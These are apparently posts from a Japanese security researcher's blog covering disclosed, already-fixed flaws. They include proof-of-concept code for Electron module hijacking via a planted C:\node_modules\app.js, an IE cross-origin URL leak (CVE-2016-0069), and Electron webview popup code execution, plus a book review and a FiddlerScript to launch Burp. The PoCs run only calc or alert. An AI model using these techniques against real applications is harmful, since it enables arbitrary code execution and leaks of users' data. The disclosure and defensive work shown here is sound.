Hatena::ブログ(Diary)

葉っぱ日記 このページをアンテナに追加

2016-04-26

[] Electronのnodeモジュール読み込みの問題が修正された  Electronのnodeモジュール読み込みの問題が修正されたを含むブックマーク

昨年10月に報告した、Electron製アプリケーションを起動した際にアプリケーション外のnodeモジュールを読み込んで実行されてしまうという脆弱性が修正された。

正確には、修正は報告とほぼ同じタイミングにリリースされた v0.33.5 で修正されていたが、4月まで公表がずれ込んだようである。

 Changelog: Don't add paths outside the app to Node module search paths in packaged app.

Release electron v0.33.5 · electron/electron (https://github.com/electron/electron/releases/tag/v0.33.5)

つまり、v0.33.5以前のelectronを使って作成されたアプリケーションでは、アプリケーション外のパスもnodeモジュールの検索パスになるため、ルートフォルダ方向にさかのぼってapp.jsなどが存在すればそれが読み込まれて実行されてしまう。

If the module identifier passed to require() is not a native module, and does not begin with '/', '../', or './', then Node.js starts at the parent directory of the current module, and adds /node_modules, and attempts to load the module from that location. Node will not append node_modules to a path already ending in node_modules.

If it is not found there, then it moves to the parent directory, and so on, until the root of the file system is reached.

そのため、例えば同じPCを利用する他のユーザーが以下のようなファイルを C:\node_modules\app.js という名前で用意していたとすると

// C:\node_modules\app.js
require('child_process').exec('calc', ()=>{});

他のユーザーがそのPC上でElectron製のアプリケーションを起動した瞬間に電卓が起動することになる。

Electron v0.33.5 以前のバージョンでビルドされたアプリケーションは新しいバージョンのElectronでビルドしなおして再配布する必要がある。

なお、nodeモジュールとして読み込まれるファイル名は、app.jsのほかにもapp.nodeやindex.js、index.node等がある。

2016-03-08

[] [改訂新版]Windowsコマンドプロンプトポケットリファレンス  [改訂新版]Windowsコマンドプロンプトポケットリファレンスを含むブックマーク

[改訂新版]Windowsコマンドプロンプトポケットリファレンスを著者の山近さんから頂きました。ありがとうございます。

この書籍は、「ポケットリファレンス」といいながら660ページもの圧巻のボリュームで、Windowsで日常的に使うコマンドだけでなくほとんどの人が存在さえ知らないようなマイナーなコマンドまで含めあらゆるコマンドの使い方やオプションを網羅して解説しています。ただコマンドの使い方を調べるというのであれば、たいていの場合は各コマンドの /? オプションなどで足りることも多いのですが、書籍としてコマンド群を俯瞰できることで、これまで知らなかったコマンドを知ることができるというのも書籍の大きなメリットでしょう。

改訂新版ではデスクトップはWindows 7などはもちろん8やWindows 10、サーバーは2012にも対応しているので、すでにコマンドラインを使いこなしているという人であっても普段使っているコマンドの詳細を改めて調べなおしてみることで新たな発見がある、Windows使いであれば(管理者でなくても)手元に置いておきたい一冊だと思います。

唯一の難点は、書名のググラビリティの低さでしょうか。

[改訂新版]Windowsコマンドプロンプトポケットリファレンス

[改訂新版]Windowsコマンドプロンプトポケットリファレンス

2016-02-20

[] CVE-2016-0069 Cross origin URL information leakage of Internet Explorer  CVE-2016-0069 Cross origin URL information leakage of Internet Explorer を含むブックマーク

Cross origin URL information leakage of IE was fixed by MS16-009. (JVN#78383854: Internet Explorer cross-domain policy bypass)

Reported
2015-09-18
Confirmed version
Internet Explorer 11.0.9600.18036
Description
A cross origin content in the iframe child can retrieve part of the url of parent page of iframe. Secret strings in the url may be leaked to the child page of iframe.
PoC
         var elm = document.createElement( "a" );
         elm.href = "#";
         elm = elm.cloneNode( false );
         alert( elm.protocol ); // protocol scheme of parent page
         alert( elm.host );     // hostname with port number of parent page
         alert( elm.hostname ); // hostname of parent page
         alert( elm.port );     // port number of parent page
         alert( elm.pathname ); // path name of parent page
         alert( elm.search );   // query string of parent page

2016-02-02

[] Launch Burp from inside Fiddler  Launch Burp from inside Fiddlerを含むブックマーク

I've written the article about FiddlerScript last week and I've gotten reply like this:

Yes, I know Burp rulez but I love Fiddler without reason so match so that I've just written Fiddler Script for launching Burp. Add these code snippet to your CustomRules.js of FiddlerScript, you can see 2 menu items, "Launch burp" in Tools menu, "Use Upstream Burp" in "Rules" menu. Click "Launch burp" first and turn-on "Use Upstream Burp" to start inspecting http traffic with Burp.

Enjoy!

class Handlers
{
    public static const m_burpPort : String = "8080";
    public static RulesOption( "Use Upstream &Burp" )
    var m_UseBurp: boolean = false;

    public static ToolsAction( "Launch &burp" )
    function launchBurp(){
        const cmd = "cmd";
        const cmdArgs = "/c java -jar -Xmx1024m";
        const burpFolder = "C:\\Program Files (x86)\\burp";

        var req : System.Net.HttpWebRequest;
        var res : System.Net.HttpWebResponse;
        var running : Boolean = false;
        var files : String[];
        var i : Number;
        var burpJar : String = "";
        
        try{
            FiddlerObject.StatusText = "Checking burp already running";
            var req = System.Net.HttpWebRequest( System.Net.WebRequest.Create( "http://localhost:" + m_burpPort ) );
            req.Headers.Add( "X-check-burp", "1" );
            res = System.Net.HttpWebResponse( req.GetResponse() );
            if(  res.StatusDescription === "OK" ){
                running = true;
            }
        }catch( e ){
            running = false;
        }
        if( !running ){
            // search latest burp jar
            files = System.IO.Directory.GetFiles( burpFolder, "burpsuite*.jar" );
            for( i = 0; i < files.length; i++ ){
                if( files[ i ] > burpJar ){
                    burpJar = files[ i ];
                }
            }
            if( burpJar === "" ){
                FiddlerObject.alert( "nou found burpsuite*.jar in "  + burpFolder );
                return;
            }
            FiddlerObject.StatusText = "Launching burp...";
            System.Diagnostics.Process.Start( cmd, cmdArgs + " \"" + burpJar + "\"" );
            FiddlerObject.StatusText = "";
        }else{
            FiddlerObject.StatusText = "burp is already running";
        }
    }
    static function OnBeforeRequest(oSession: Session) {
        if( oSession.oRequest.headers.Exists( "X-check-burp" ) ){
            oSession["ui-hide"] = "burp";
        }
        if( m_UseBurp ){
            oSession.bypassGateway = false;
            oSession[ "x-overrideGateway" ] = "localhost:" + m_burpPort;
        }
    }
}

2016-01-24

[] Electronのwebview要素ではallowpopups属性をつけてはいけない  Electronのwebview要素ではallowpopups属性をつけてはいけないを含むブックマーク

Electronを使ってブラウザのようなアプリケーションを作る場合には webviewタグが使用される。例えば、アプリケーション内にexample.jpのサイトを表示するには以下のようにHTMLに記述する。

<webview src="http://example.jp/"></webview>

ここで、webviewタグにallowpopups属性を付与すると、example.jpサイト内のコードからwindow.open等を使って新たにウィンドウを開くことができるようになる。このとき、example.jpに悪意があり以下のようなコードが含まれているとする。

if( typeof require === "undefined" ) window.open( 'http://example.jp/', '', 'nodeIntegration=1');
else require( "child_process").exec("calc.exe",function(){});

requireが未定義の場合には自身のサイトをwindow.openを使って開きなおしているが、このときに'nodeIntegration=1'を与えている。これにより、新たに生成されたwindowではnodeの機能すなわちrequireやprocessなどが利用可能になる。コードのelse以降は開きなおされたwindow内で動作し、requireが利用可能になっているので、ここでは電卓を起動している。

このように、webviewタグにallowpopups属性が付与されている場合、webview内に表示されているサイトからクライアントPC上で任意コードの実行が可能になる可能性がある。

ここで注意すべきは、allowpopups属性はあくまでも新たにポップアップウィンドウを開くことを許可しているだけであり、開かれたウィンドウがnode機能を利用可能かどうかを制御しているのではないということである。現状のnodeでは、新たにウィンドウを開く際にnode機能をオンにして開くことができるが、allowpopupsを付与しないことによって新たにウィンドウの生成を禁止していることがたまたまnode機能付きでコード実行されるのを禁止しているのに過ぎないという点に留意しておく必要がある。

まとめ。webviewタグにallowpopups属性をつけてリモートサイトを表示している場合、リモートサイトから任意コードの実行が可能になる。